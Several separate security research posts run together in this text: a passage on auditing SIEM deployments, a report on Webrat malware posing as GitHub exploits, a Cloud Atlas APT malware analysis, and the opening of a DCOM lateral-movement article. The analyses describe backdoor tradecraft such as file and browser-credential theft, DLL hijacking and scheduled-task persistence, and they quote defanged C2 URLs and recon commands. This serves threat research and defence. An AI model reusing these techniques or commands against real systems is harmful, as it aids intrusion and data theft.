It is essential to specify an optimal time range for collecting these statistics. Too large a range can increase the load on the SIEM, while too small a range may provide inaccurate information for a one-time check – especially for sources that transmit telemetry relatively infrequently, say, once a week. Therefore, it is advisable to choose a smaller time window, such as 2–4 days, but run several queries for different periods in the past.
Additionally, for a more comprehensive approach, it is recommended to use built-in functionality or custom logic implemented via correlation rules and lists to monitor event flow. This will help automate the process of detecting problems with sources.
Event source coverage
Problem: The system is not receiving events from all sources of a particular type that exist in the infrastructure. For example, the company uses workstations and servers running Windows. During SIEM deployment, workstations are immediately connected for monitoring, while the server segment is postponed for one reason or another. As a result, the SIEM receives events from Windows systems, the flow is normalized, and correlation rules work, but an incident in the unmonitored server segment would go unnoticed.
How to detect: Below are query variations that can be used to search for unconnected sources.
SELECT count(distinct, DeviceAddress), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)
SELECT count(distinct, DeviceHostName), DeviceVendor, DeviceProduct FROM events GROUP BY DeviceVendor, DeviceProduct ORDER BY count(ID)
We have split the query into two variations because, depending on the source and the DNS integration settings, some events may contain either a DeviceAddress or DeviceHostName field.
These queries will help determine the number of unique data sources sending logs of a specific type. This count must be compared against the actual number of sources of that type, obtained from the system owners.
Retaining raw data
Raw data can be useful for developing custom normalizers or for storing events not used in correlation that might be needed during incident investigation. However, careless use of this setting can cause significantly more harm than good.
Problem: Enabling the Keep raw event option effectively doubles the event size in the database, as it stores two copies: the original and the normalized version. This is particularly critical for high-volume collectors receiving events from sources like NetFlow, DNS, firewalls, and others. It is worth noting that this option is typically used for testing a normalizer but is often forgotten and left enabled after its configuration is complete.
How to detect: This option is applied at the normalizer level. Therefore, it is necessary to review all active normalizers and determine whether retaining raw data is required for their operation.
Normalization
As with the absence of events from sources, normalization issues lead to detection logic failing, as this logic relies on finding specific information in a specific event field.
Problem: Several issues related to normalization can be identified:
The event flow is not being normalized at all.
Events are only partially normalized – this is particularly relevant for custom, non-out-of-the-box normalizers.
The normalizer being used only parses headers, such as syslog_headers, placing the entire event body into a single field, this field most often being Message.
An outdated default normalizer is being used.
How to detect: Identifying normalization issues is more challenging than spotting source problems due to the high volume of telemetry and variety of parsers. Here are several approaches to narrowing the search:
First, check which normalizers supplied with the SIEM the organization uses and whether their versions are up to date. In our assessments, we frequently encounter auditd events being normalized by the outdated normalizer, Linux audit and iptables syslog v2 for Kaspersky SIEM. The new normalizer completely reworks and optimizes the normalization schema for events from this source.
Execute the query:
SELECT count(ID), DeviceProduct, DeviceVendor, CollectorName FROM `events` GROUP BY DeviceProduct, DeviceVendor, CollectorName ORDER BY count(ID)
This query gathers statistics on events from each collector, broken down by the DeviceVendor and DeviceProduct fields. While these fields are not mandatory, they are present in almost any normalization schema. Therefore, their complete absence or empty values may indicate normalization issues. We recommend including these fields when developing custom normalizers.
To simplify the identification of normalization problems when developing custom normalizers, you can implement the following mechanism. For each successfully normalized event, add a Name field, populated from a constant or the event itself. For a final catch-all normalizer that processes all unparsed events, set the constant value: Name = unparsed event. This will later allow you to identify non-normalized events through a simple search on this field.
Detection logic coverage
Collected events alone are, in most cases, only useful for investigating an incident that has already been identified. For a SIEM to operate to its full potential, it requires detection logic to be developed to uncover probable security incidents.
Problem: The mean correlation rule coverage of sources, determined across all our assessments, is 43%. While this figure is only a ballpark figure – as different source types provide different information – to calculate it, we defined “coverage” as the presence of at least one correlation rule for a source. This means that for more than half of the connected sources, the SIEM is not actively detecting. Meanwhile, effort and SIEM resources are spent on connecting, maintaining, and configuring these sources. In some cases, this is formally justified, for instance, if logs are only needed for regulatory compliance. However, this is an exception rather than the rule.
We do not recommend solving this problem by simply not connecting sources to the SIEM. On the contrary, sources should be connected, but this should be done concurrently with the development of corresponding detection logic. Otherwise, it can be forgotten or postponed indefinitely, while the source pointlessly consumes system resources.
How to detect: This brings us back to auditing, a process that can be greatly aided by creating and maintaining a register of developed detection logic. Given that not every detection logic rule explicitly states the source type from which it expects telemetry, its description should be added to this register during the development phase.
If descriptions of the correlation rules are not available, you can refer to the following:
The name of the detection logic. With a standardized approach to naming correlation rules, the name can indicate the associated source or at least provide a brief description of what it detects.
The use of fields within the rules, such as DeviceVendor, DeviceProduct (another argument for including these fields in the normalizer), Name, DeviceAction, DeviceEventCategory, DeviceEventClassID, and others. These can help identify the actual source.
Excessive alerts generated by the detection logic
One criterion for correlation rules effectiveness is a low false positive rate.
Problem: Detection logic generates an abnormally high number of alerts that are physically impossible to process, regardless of the size of the SOC team.
How to detect: First and foremost, detection logic should be tested during development and refined to achieve an acceptable false positive rate. However, even a well-tuned correlation rule can start producing excessive alerts due to changes in the event flow or connected infrastructure. To identify these rules, we recommend periodically running the following query:
SELECT count(ID), Name FROM `events` WHERE Type = 3 GROUP BY Name ORDER BY count(ID)
In Kaspersky SIEM, a value of 3 in the Type field indicates a correlation event.
Subsequently, for each identified rule with an anomalous alert count, verify the correctness of the logic it uses and the integrity of the event stream on which it triggered.
Depending on the issue you identify, the solution may involve modifying the detection logic, adding exceptions (for example, it is often the case that 99% of the spam originates from just 1–5 specific objects, such as an IP address, a command parameter, or a URL), or adjusting event collection and normalization.
Lack of integration with indicators of compromise
SIEM integrations with other systems are generally a critical part of both event processing and alert enrichment. In at least one specific case, their presence directly impacts detection performance: integration with technical Threat Intelligence data or IoCs (indicators of compromise).
A SIEM allows conveniently checking objects against various reputation databases or blocklists. Furthermore, there are numerous sources of this data that are ready to integrate natively with a SIEM or require minimal effort to incorporate.
Problem: There is no integration with TI data.
How to detect: Generally, IoCs are integrated into a SIEM at the system configuration level during deployment or subsequent optimization. The use of TI within a SIEM can be implemented at various levels:
At the data source level. Some sources, such as NGFWs, add this information to events involving relevant objects.
At the SIEM native functionality level. For example, Kaspersky SIEM integrates with CyberTrace indicators, which add object reputation information at the moment of processing an event from a source.
At the detection logic level. Information about IoCs is stored in various active lists, and correlation rules match objects against these to enrich the event.
Furthermore, TI data does not appear in a SIEM out of thin air. It is either provided by external suppliers (commercially or in an open format) or is part of the built-in functionality of the security tools in use. For instance, various NGFW systems can additionally check the reputation of external IP addresses or domains that users are accessing. Therefore, the first step is to determine whether you are receiving information about indicators of compromise and in what form (whether external providers’ feeds have been integrated and/or the deployed security tools have this capability). It is worth noting that receiving TI data only at the security tool level does not always cover all types of IoCs.
If data is being received in some form, the next step is to verify that the SIEM is utilizing it. For TI-related events coming from security tools, the SIEM needs a correlation rule developed to generate alerts. Thus, checking integration in this case involves determining the capabilities of the security tools, searching for the corresponding events in the SIEM, and identifying whether there is detection logic associated with these events. If events from the security tools are absent, the source audit configuration should be assessed to see if the telemetry type in question is being forwarded to the SIEM at all. If normalization is the issue, you should assess parsing accuracy and reconfigure the normalizer.
If TI data comes from external providers, determine how it is processed within the organization. Is there a centralized system for aggregating and managing threat data (such as CyberTrace), or is the information stored in, say, CSV files?
In the former case (there is a threat data aggregation and management system) you must check if it is integrated with the SIEM. For Kaspersky SIEM and CyberTrace, this integration is handled through the SIEM interface. Following this, SIEM event flows are directed to the threat data aggregation and management system, where matches are identified and alerts are generated, and then both are sent back to the SIEM. Therefore, checking the integration involves ensuring that all collectors receiving events that may contain IoCs are forwarding those events to the threat data aggregation and management system. We also recommend checking if the SIEM has a correlation rule that generates an alert based on matching detected objects with IoCs.
In the latter case (threat information is stored in files), you must confirm that the SIEM has a collector and normalizer configured to load this data into the system as events. Also, verify that logic is configured for storing this data within the SIEM for use in correlation. This is typically done with the help of lists that contain the obtained IoCs. Finally, check if a correlation rule exists that compares the event flow against these IoC lists.
As the examples illustrate, integration with TI in standard scenarios ultimately boils down to developing a final correlation rule that triggers an alert upon detecting a match with known IoCs. Given the variety of integration methods, creating and providing a universal out-of-the-box rule is difficult. Therefore, in most cases, to ensure IoCs are connected to the SIEM, you need to determine if the company has developed that rule (the existence of the rule) and if it has been correctly configured. If no correlation rule exists in the system, we recommend creating one based on the TI integration methods implemented in your infrastructure. If a rule does exist, its functionality must be verified: if there are no alerts from it, analyze its trigger conditions against the event data visible in the SIEM and adjust it accordingly.
The SIEM is not kept up to date
For a SIEM to run effectively, it must contain current data about the infrastructure it monitors and the threats it’s meant to detect. Both elements change over time: new systems and software, users, security policies, and processes are introduced into the infrastructure, while attackers develop new techniques and tools. It is safe to assume that a perfectly configured and deployed SIEM system will no longer be able to fully see the altered infrastructure or the new threats after five years of running without additional configuration. Therefore, practically all components – event collection, detection, additional integrations for contextual information, and exclusions – must be maintained and kept up to date.
Furthermore, it is important to acknowledge that it is impossible to cover 100% of all threats. Continuous research into attacks, development of detection methods, and configuration of corresponding rules are a necessity. The SOC itself also evolves. As it reaches certain maturity levels, new growth opportunities open up for the team, requiring the utilization of new capabilities.
Problem: The SIEM has not evolved since its initial deployment.
How to detect: Compare the original statement of work or other deployment documentation against the current state of the system. If there have been no changes, or only minimal ones, it is highly likely that your SIEM has areas for growth and optimization. Any infrastructure is dynamic and requires continuous adaptation.
Other issues with SIEM implementation and operation
In this article, we have outlined the primary problems we identify during SIEM effectiveness assessments, but this list is not exhaustive. We also frequently encounter:
Mismatch between license capacity and actual SIEM load. The problem is almost always the absence of events from sources, rather than an incorrect initial assessment of the organization’s needs.
Lack of user rights management within the system (for example, every user is assigned the administrator role).
Poor organization of customizable SIEM resources (rules, normalizers, filters, and so on). Examples include chaotic naming conventions, non-optimal grouping, and obsolete or test content intermixed with active content. We have encountered confusing resource names like [dev] test_Add user to admin group_final2.
Use of out-of-the-box resources without adaptation to the organization’s infrastructure. To maximize a SIEM’s value, it is essential at a minimum to populate exception lists and specify infrastructure parameters: lists of administrators and critical services and hosts.
Disabled native integrations with external systems, such as LDAP, DNS, and GeoIP.
Generally, most issues with SIEM effectiveness stem from the natural degradation (accumulation of errors) of the processes implemented within the system. Therefore, in most cases, maintaining effectiveness involves structuring these processes, monitoring the quality of SIEM engagement at all stages (source onboarding, correlation rule development, normalization, and so on), and conducting regular reviews of all system components and resources.
Conclusion
A SIEM is a powerful tool for monitoring and detecting threats, capable of identifying attacks at various stages across nearly any point in an organization’s infrastructure. However, if improperly configured and operated, it can become ineffective or even useless while still consuming significant resources. Therefore, it is crucial to periodically audit the SIEM’s components, settings, detection rules, and data sources.
If a SOC is overloaded or otherwise unable to independently identify operational issues with its SIEM, we offer Kaspersky SIEM platform users a service to assess its operation. Following the assessment, we provide a list of recommendations to address the issues we identify. That being said, it is important to clarify that these are not strict, prescriptive instructions, but rather highlight areas that warrant attention and analysis to improve the product’s performance, enhance threat detection accuracy, and enable more efficient SIEM utilization.
In early 2025, security researchers uncovered a new malware family named Webrat. Initially, the Trojan targeted regular users by disguising itself as cheats for popular games like Rust, Counter-Strike, and Roblox, or as cracked software. In September, the attackers decided to widen their net: alongside gamers and users of pirated software, they are now targeting inexperienced professionals and students in the information security field.
Distribution and the malicious sample
In October, we uncovered a campaign that had been distributing Webrat via GitHub repositories since at least September. To lure in victims, the attackers leveraged vulnerabilities frequently mentioned in security advisories and industry news. Specifically, they disguised their malware as exploits for the following vulnerabilities with high CVSSv3 scores:
In the Webrat campaign, the attackers bait their traps with both vulnerabilities lacking a working exploit and those which already have one. To build trust, they carefully prepared the repositories, incorporating detailed vulnerability information into the descriptions. The information is presented in the form of structured sections, which include:
Overview with general information about the vulnerability and its potential consequences
Specifications of systems susceptible to the exploit
Guide for downloading and installing the exploit
Guide for using the exploit
Steps to mitigate the risks associated with the vulnerability
Contents of the repository
In all the repositories we investigated, the descriptions share a similar structure, characteristic of AI-generated vulnerability reports, and offer nearly identical risk mitigation advice, with only minor variations in wording. This strongly suggests that the text was machine-generated.
The Download Exploit ZIP link in the Download & Install section leads to a password-protected archive hosted in the same repository. The password is hidden within the name of a file inside the archive.
The archive downloaded from the repository includes four files:
pass – 8511: an empty file, whose name contains the password for the archive.
payload.dll: a decoy, which is a corrupted PE file. It contains no useful information and performs no actions, serving only to divert attention from the primary malicious file.
rasmanesc.exe (note: file names may vary): the primary malicious file (MD5 61b1fc6ab327e6d3ff5fd3e82b430315), which performs the following actions:
Escalate its privileges to the administrator level (T1134.002).
Disable Windows Defender (T1562.001) to avoid detection.
Fetch from a hardcoded URL (ezc5510min.temp[.]swtest[.]ru in our example) a sample of the Webrat family and execute it (T1608.001).
start_exp.bat: a file containing a single command: start rasmanesc.exe, which further increases the likelihood of the user executing the primary malicious file.
The execution flow and capabilities of rasmanesc.exe
Webrat is a backdoor that allows the attackers to control the infected system. Furthermore, it can steal data from cryptocurrency wallets, Telegram, Discord and Steam accounts, while also performing spyware functions such as screen recording, surveillance via a webcam and microphone, and keylogging. The version of Webrat discovered in this campaign is no different from those documented previously.
Campaign objectives
Previously, Webrat spread alongside game cheats, software cracks, and patches for legitimate applications. In this campaign, however, the Trojan disguises itself as exploits and PoCs. This suggests that the threat actor is attempting to infect information security specialists and other users interested in this topic. It bears mentioning that any competent security professional analyzes exploits and other malware within a controlled, isolated environment, which has no access to sensitive data, physical webcams, or microphones. Furthermore, an experienced researcher would easily recognize Webrat, as it’s well-documented and the current version is no different from previous ones. Therefore, we believe the bait is aimed at students and inexperienced security professionals.
Conclusion
The threat actor behind Webrat is now disguising the backdoor not only as game cheats and cracked software, but also as exploits and PoCs. This indicates they are targeting researchers who frequently rely on open sources to find and analyze code related to new vulnerabilities.
However, Webrat itself has not changed significantly from past campaigns. These attacks clearly target users who would run the “exploit” directly on their machines — bypassing basic safety protocols. This serves as a reminder that cybersecurity professionals, especially inexperienced researchers and students, must remain vigilant when handling exploits and any potentially malicious files. To prevent potential damage to work and personal devices containing sensitive information, we recommend analyzing these exploits and files within isolated environments like virtual machines or sandboxes.
We also recommend exercising general caution when working with code from open sources, always using reliable security solutions, and never adding software to exclusions without a justified reason.
Kaspersky solutions effectively detect this threat with the following verdicts:
Known since 2014, the Cloud Atlas group targets countries in Eastern Europe and Central Asia. Infections occur via phishing emails containing a malicious document that exploits an old vulnerability in the Microsoft Office Equation Editor process (CVE-2018-0802) to download and execute malicious code. In this report, we describe the infection chain and tools that the group used in the first half of 2025, with particular focus on previously undescribed implants.
The starting point is typically a phishing email with a malicious DOC(X) attachment. When the document is opened, a malicious template is downloaded from a remote server. The document has the form of an RTF file containing an exploit for the formula editor, which downloads and executes an HTML Application (HTA) file.
Fpaylo
Malicious template with the exploit loaded by Word when opening the document
We were unable to obtain the actual RTF template with the exploit. We assume that after a successful infection of the victim, the link to this file becomes inaccessible. In the given example, the malicious RTF file containing the exploit was downloaded from the URL hxxps://securemodem[.]com?tzak.html_anacid.
Template files, like HTA files, are located on servers controlled by the group, and their downloading is limited both in time and by the IP addresses of the victims. The malicious HTA file extracts and creates several VBS files on disk that are parts of the VBShower backdoor. VBShower then downloads and installs other backdoors: PowerShower, VBCloud, and CloudAtlas.
Several implants remain the same, with insignificant changes in file names, and so on. You can find more details in our previous article on the following implants:
In this research, we’ll focus on new and updated components.
VBShower
VBShower::Backdoor
Compared to the previous version, the backdoor runs additional downloaded VB scripts in the current context, regardless of the size. A previous modification of this script checked the size of the payload, and if it exceeded 1 MB, instead of executing it in the current context, the backdoor wrote it to disk and used the wscript utility to launch it.
VBShower::Payload (1)
The script collects information about running processes, including their creation time, caption, and command line. The collected information is encrypted and sent to the C2 server by the parent script (VBShower::Backdoor) via the v_buff variable.
VBShower::Payload (1)
VBShower::Payload (2)
The script is used to install the VBCloud implant. First, it downloads a ZIP archive from the hardcoded URL and unpacks it into the %Public% directory. Then, it creates a scheduler task named “MicrosoftEdgeUpdateTask” to run the following command line:
It renames the unzipped file %Public%\Libraries\v.log to %Public%\Libraries\MicrosoftEdgeUpdate.vbs, iterates through the files in the %Public%\Libraries directory, and collects information about the filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The malware gets information about the task by executing the following command line:
The specified command line is executed, with the output redirected to the TMP file. Both the TMP file and the content of the v_buff variable will be sent to the C2 server by the parent script (VBShower::Backdoor).
Here is an example of the information present in the v_buff variable:
The file MicrosoftEdgeUpdate.vbs is a launcher for VBCloud, which reads the encrypted body of the backdoor from the file upgrade.mds, decrypts it, and executes it.
VBShower::Payload (2) used to install VBCloud
Almost the same script is used to install the CloudAtlas backdoor on an infected system. The script only downloads and unpacks the ZIP archive to "%LOCALAPPDATA%", and sends information about the contents of the directories "%LOCALAPPDATA%\vlc\plugins\access" and "%LOCALAPPDATA%\vlc" as output.
In this case, the file renaming operation is not applied, and there is no code for creating a scheduler task.
Here is an example of information to be sent to the C2 server:
In fact, a.xml, d.xml, and e.xml are the executable file and libraries, respectively, of VLC Media Player. The c.xml file is a malicious library used in a DLL hijacking attack, where VLC acts as a loader, and the b.xml file is an encrypted body of the CloudAtlas backdoor, read from disk by the malicious library, decrypted, and executed.
VBShower::Payload (2) used to install CloudAtlas
VBShower::Payload (3)
This script is the next component for installing CloudAtlas. It is downloaded by VBShower from the C2 server as a separate file and executed after the VBShower::Payload (2) script. The script renames the XML files unpacked by VBShower::Payload (2) from the archive to the corresponding executables and libraries, and also renames the file containing the encrypted backdoor body.
These files are copied by VBShower::Payload (3) to the following paths:
Additionally, VBShower::Payload (3) creates a scheduler task to execute the command line: "%LOCALAPPDATA%\vlc\vlc.exe". The script then iterates through the files in the "%LOCALAPPDATA%\vlc" and "%LOCALAPPDATA%\vlc\plugins\access" directories, collecting information about filenames and sizes. The data, in the form of a buffer, is collected in the v_buff variable. The script also retrieves information about the task by executing the following command line, with the output redirected to a TMP file:
This script is used to check access to various cloud services and executed before installing VBCloud or CloudAtlas. It consistently accesses the URLs of cloud services, and the received HTTP responses are saved to the v_buff variable for subsequent sending to the C2 server. A truncated example of the information sent to the C2 server:
This is a small script for checking the accessibility of PowerShower’s C2 from an infected system.
VBShower::Payload (7)
VBShower::Payload (8)
This script is used to install PowerShower, another backdoor known to be employed by Cloud Atlas. The script does so by performing the following steps in sequence:
Creates registry keys to make the console window appear off-screen, effectively hiding it:
Decrypts the contents of the embedded data block with XOR and saves the resulting script to the file "%APPDATA%\Adobe\p.txt". Then, renames the file "p.txt" to "AdobeMon.ps1".
Collects information about file names and sizes in the path "%APPDATA%\Adobe". Gets information about the task by executing the following command line, with the output redirected to a TMP file:
cmd.exe /c schtasks /query /v /fo LIST /tn MicrosoftAdobeUpdateTaskMachine
VBShower::Payload (8) used to install PowerShower
The decrypted PowerShell script is disguised as one of the standard modules, but at the end of the script, there is a command to launch the PowerShell interpreter with another script encoded in Base64.
Content of AdobeMon.ps1 (PowerShower)
VBShower::Payload (9)
This is a small script for collecting information about the system proxy settings.
VBShower::Payload (9)
VBCloud
On an infected system, VBCloud is represented by two files: a VB script (VBCloud::Launcher) and an encrypted main body (VBCloud::Backdoor). In the described case, the launcher is located in the file MicrosoftEdgeUpdate.vbs, and the payload — in upgrade.mds.
VBCloud::Launcher
The launcher script reads the contents of the upgrade.mds file, decodes characters delimited with “%H”, uses the RC4 stream encryption algorithm with a key built into the script to decrypt it, and transfers control to the decrypted content. It is worth noting that the implementation of RC4 uses PRGA (pseudo-random generation algorithm), which is quite rare, since most malware implementations of this algorithm skip this step.
VBCloud::Launcher
VBCloud::Backdoor
The backdoor performs several actions in a loop to eventually download and execute additional malicious scripts, as described in the previous research.
VBCloud::Payload (FileGrabber)
Unlike VBShower, which uses a global variable to save its output or a temporary file to be sent to the C2 server, each VBCloud payload communicates with the C2 server independently. One of the most commonly used payloads for the VBCloud backdoor is FileGrabber. The script exfiltrates files and documents from the target system as described before.
The FileGrabber payload has the following limitations when scanning for files:
It ignores the following paths:
Program Files
Program Files (x86)
%SystemRoot%
The file size for archiving must be between 1,000 and 3,000,000 bytes.
The file’s last modification date must be less than 30 days before the start of the scan.
Files containing the following strings in their names are ignored:
“intermediate.txt”
“FlightingLogging.txt”
“log.txt”
“thirdpartynotices”
“ThirdPartyNotices”
“easylist.txt”
“acroNGLLog.txt”
“LICENSE.txt”
“signature.txt”
“AlternateServices.txt”
“scanwia.txt”
“scantwain.txt”
“SiteSecurityServiceState.txt”
“serviceworker.txt”
“SettingsCache.txt”
“NisLog.txt”
“AppCache”
“backupTest”
Part of VBCloud::Payload (FileGrabber)
PowerShower
As mentioned above, PowerShower is installed via one of the VBShower payloads. This script launches the PowerShell interpreter with another script encoded in Base64. Running in an infinite loop, it attempts to access the C2 server to retrieve an additional payload, which is a PowerShell script twice encoded with Base64. This payload is executed in the context of the backdoor, and the execution result is sent to the C2 server via an HTTP POST request.
Decoded PowerShower script
In previous versions of PowerShower, the payload created a sapp.xtx temporary file to save its output, which was sent to the C2 server by the main body of the backdoor. No intermediate files are created anymore, and the result of execution is returned to the backdoor by a normal call to the "return" operator.
PowerShower::Payload (1)
This script was previously described as PowerShower::Payload (2). This payload is unique to each victim.
PowerShower::Payload (2)
This script is used for grabbing files with metadata from a network share.
PowerShower::Payload (2)
CloudAtlas
As described above, the CloudAtlas backdoor is installed via VBShower from a downloaded archive delivered through a DLL hijacking attack. The legitimate VLC application acts as a loader, accompanied by a malicious library that reads the encrypted payload from the file and transfers control to it. The malicious DLL is located at "%LOCALAPPDATA%\vlc\plugins\access", while the file with the encrypted payload is located at "%LOCALAPPDATA%\vlc\".
When the malicious DLL gains control, it first extracts another DLL from itself, places it in the memory of the current process, and transfers control to it. The unpacked DLL uses a byte-by-byte XOR operation to decrypt the block with the loader configuration. The encrypted config immediately follows the key. The config specifies the name of the event that is created to prevent a duplicate payload launch. The config also contains the name of the file where the encrypted payload is located — "chambranle" in this case — and the decryption key itself.
Encrypted and decrypted loader configuration
The library reads the contents of the "chambranle" file with the payload, uses the key from the decrypted config and the IV located at the very end of the "chambranle" file to decrypt it with AES-256-CBC. The decrypted file is another DLL with its size and SHA-1 hash embedded at the end, added to verify that the DLL is decrypted correctly. The DLL decrypted from "chambranle" is the main body of the CloudAtlas backdoor, and control is transferred to it via one of the exported functions, specifically the one with ordinal 2.
Main routine that processes the payload file
When the main body of the backdoor gains control, the first thing it does is decrypt its own configuration. Decryption is done in a similar way, using AES-256-CBC. The key for AES-256 is located before the configuration, and the IV is located right after it. The most useful information in the configuration file includes the URL of the cloud service, paths to directories for receiving payloads and unloading results, and credentials for the cloud service.
Encrypted and decrypted CloudAtlas backdoor config
Immediately after decrypting the configuration, the backdoor starts interacting with the C2 server, which is a cloud service, via WebDAV. First, the backdoor uses the MKCOL HTTP method to create two directories: one ("/guessed/intershop/Euskalduns/") will regularly receive a beacon in the form of an encrypted file containing information about the system, time, user name, current command line, and volume information. The other directory ("/cancrenate/speciesists/") is used to retrieve payloads. The beacon file and payload files are AES-256-CBC encrypted with the key that was used for backdoor configuration decryption.
HTTP requests of the CloudAtlas backdoor
The backdoor uses the HTTP PROPFIND method to retrieve the list of files. Each of these files will be subsequently downloaded, deleted from the cloud service, decrypted, and executed.
HTTP requests from the CloudAtlas backdoor
The payload consists of data with a binary block containing a command number and arguments at the beginning, followed by an executable plugin in the form of a DLL. The structure of the arguments depends on the type of command. After the plugin is loaded into memory and configured, the backdoor calls the exported function with ordinal 1, passing several arguments: a pointer to the backdoor function that implements sending files to the cloud service, a pointer to the decrypted backdoor configuration, and a pointer to the binary block with the command and arguments from the beginning of the payload.
Plugin setup and execution routine
Before calling the plugin function, the backdoor saves the path to the current directory and restores it after the function is executed. Additionally, after execution, the plugin is removed from memory.
CloudAtlas::Plugin (FileGrabber)
FileGrabber is the most commonly used plugin. As the name suggests, it is designed to steal files from an infected system. Depending on the command block transmitted, it is capable of:
Stealing files from all local disks
Stealing files from the specified removable media
Stealing files from specified folders
Using the selected username and password from the command block to mount network resources and then steal files from them
For each detected file, a series of rules are generated based on the conditions passed within the command block, including:
Checking for minimum and maximum file size
Checking the file’s last modification time
Checking the file path for pattern exclusions. If a string pattern is found in the full path to a file, the file is ignored
Checking the file name or extension against a list of patterns
Resource scanning
If all conditions match, the file is sent to the C2 server, along with its metadata, including attributes, creation time, last access time, last modification time, size, full path to the file, and SHA-1 of the file contents. Additionally, if a special flag is set in one of the rule fields, the file will be deleted after a copy is sent to the C2 server. There is also a limit on the total amount of data sent, and if this limit is exceeded, scanning of the resource stops.
Generating data for sending to C2
CloudAtlas::Plugin (Common)
This is a general-purpose plugin, which parses the transferred block, splits it into commands, and executes them. Each command has its own ID, ranging from 0 to 6. The list of commands is presented below.
Command ID 0: Creates, sets and closes named events.
Command ID 1: Deletes the selected list of files.
Command ID 2: Drops a file on disk with content and a path selected in the command block arguments.
Command ID 3: Capable of performing several operations together or independently, including:
Dropping several files on disk with content and paths selected in the command block arguments
Dropping and executing a file at a specified path with selected parameters. This operation supports three types of launch:
Using the WinExec function
Using the ShellExecuteW function
Using the CreateProcessWithLogonW function, which requires that the user’s credentials be passed within the command block to launch the process on their behalf
Command ID 4: Uses the StdRegProv COM interface to perform registry manipulations, supporting key creation, value deletion, and value setting (both DWORD and string values).
Command ID 5: Calls the ExitProcess function.
Command ID 6: Uses the credentials passed within the command block to connect a network resource, drops a file to the remote resource under the name specified within the command block, creates and runs a VB script on the local system to execute the dropped file on the remote system. The VB script is created at "%APPDATA%\ntsystmp.vbs". The path to launch the file dropped on the remote system is passed to the launched VB script as an argument.
Content of the dropped VBS
CloudAtlas::Plugin (PasswordStealer)
This plugin is used to steal cookies and credentials from browsers. This is an extended version of the Common Plugin, which is used for more specific purposes. It can also drop, launch, and delete files, but its primary function is to drop files belonging to the “Chrome App-Bound Encryption Decryption” open-source project onto the disk, and run the utility to steal cookies and passwords from Chromium-based browsers. After launching the utility, several files ("cookies.txt" and "passwords.txt") containing the extracted browser data are created on disk. The plugin then reads JSON data from the selected files, parses the data, and sends the extracted information to the C2 server.
Part of the function for parsing JSON and sending the extracted data to C2
CloudAtlas::Plugin (InfoCollector)
This plugin is used to collect information about the infected system. The list of commands is presented below.
Command ID 0xFFFFFFF0: Collects the computer’s NetBIOS name and domain information.
Command ID 0xFFFFFFF1: Gets a list of processes, including full paths to executable files of processes, and a list of modules (DLLs) loaded into each process.
Command ID 0xFFFFFFF2: Collects information about installed products.
Command ID 0xFFFFFFF3: Collects device information.
Command ID 0xFFFFFFF4: Collects information about logical drives.
Command ID 0xFFFFFFF5: Executes the command with input/output redirection, and sends the output to the C2 server. If the command line for execution is not specified, it sequentially launches the following utilities and sends their output to the C2 server:
net group "Exchange servers" /domain
Ipconfig
arp -a
Python script
As mentioned in one of our previous reports, Cloud Atlas uses a custom Python script named get_browser_pass.py to extract saved credentials from browsers on infected systems. If the Python interpreter is not present on the victim’s machine, the group delivers an archive that includes both the script and a bundled Python interpreter to ensure execution.
During one of the latest incidents we investigated, we once again observed traces of this tool in action, specifically the presence of the file "C:\ProgramData\py\pytest.dll".
The pytest.dll library is called from within get_browser_pass.py and used to extract credentials from Yandex Browser. The data is then saved locally to a file named y3.txt.
Victims
According to our telemetry, the identified targets of the malicious activities described here are located in Russia and Belarus, with observed activity dating back to the beginning of 2025. The industries being targeted are diverse, encompassing organizations in the telecommunications sector, construction, government entities, and plants.
Conclusion
For more than ten years, the group has carried on its activities and expanded its arsenal. Now the attackers have four implants at their disposal (PowerShower, VBShower, VBCloud, CloudAtlas), each of them a full-fledged backdoor. Most of the functionality in the backdoors is duplicated, but some payloads provide various exclusive capabilities. The use of cloud services to manage backdoors is a distinctive feature of the group, and it has proven itself in various attacks.
Indicators of compromise
Note: The indicators in this section are valid at the time of publication.
If you’re a penetration tester, you know that lateral movement is becoming increasingly difficult, especially in well-defended environments. One common technique for remote command execution has been the use of DCOM objects.
Over the years, many different DCOM objects have been discovered. Some rely on native Windows components, others depend on third-party software such as Microsoft Office, and some are undocumented objects found through reverse engineering. While certain objects still work, others no longer function in newer versions of Windows.
This research presents a previously undescribed DCOM object that can be used for both command execution and potential persistence. This new technique abuses older initial access and persistence methods through Control Panel items.
First, we will discuss COM technology. After that, we will review the current state of the Impacket dcomexec script, focusing on objects that still function, and discuss potential fixes and improvements, then move on to techniques for enumerating objects on the system. Next, we will examine Control Panel items, how adversaries have used them for initial access and persistence, and how these items can be leveraged through a DCOM object to achieve command execution.
Finally, we will cover detection strategies to identify and respond to this type of activity.
COM/DCOM technology
What is COM?
COM stands for Component Object Model, a Microsoft technology that defines a binary standard for interoperability. It enables the creation of reusable software components that can interact at runtime without the need to compile COM libraries directly into an application.
These software components operate in a client–server model. A COM object exposes its functionality through one or more interfaces. An interface is essentially a collection of related member functions (methods).
COM also enables communication between processes running on the same machine by using local RPC (Remote Procedure Call) to handle cross-process communication.
Terms
To ensure a better understanding of its structure and functionality, let’s revise COM-related terminology.
COM interface A COM interface defines the functionality that a COM object exposes. Each COM interface is identified by a unique GUID known as the IID (Interface ID). All COM interfaces can be found in the Windows Registry under HKEY_CLASSES_ROOT\Interface, where they are organized by GUID.
COM class (COM CoClass) A COM class is the actual implementation of one or more COM interfaces. Like COM interfaces, classes are identified by unique GUIDs, but in this case the GUID is called the CLSID (Class ID). This GUID is used to locate the COM server and activate the corresponding COM class.
All COM classes must be registered in the registry under HKEY_CLASSES_ROOT\CLSID, where each class’s GUID is stored. Under each GUID, you may find multiple subkeys that serve different purposes, such as:
InprocServer32/LocalServer32: Specifies the system path of the COM server where the class is defined. InprocServer32 is used for in-process servers (DLLs), while LocalServer32 is used for out-of-process servers (EXEs). We’ll describe this in more detail later.
ProgID: A human-readable name assigned to the COM class.
TypeLib: A binary description of the COM class (essentially documentation for the class).
AppID: Used to describe security configuration for the class.
COM server A COM is the module where a COM class is defined. The server can be implemented as an EXE, in which case it is called an out-of-process server, or as a DLL, in which case it is called an in-process server. Each COM server has a unique file path or location in the system. Information about COM servers is stored in the Windows Registry. The COM runtime uses the registry to locate the server and perform further actions. Registry entries for COM servers are located under the HKEY_CLASSES_ROOT root key for both 32- and 64-bit servers.
Component Object Model implementation
Client–server model
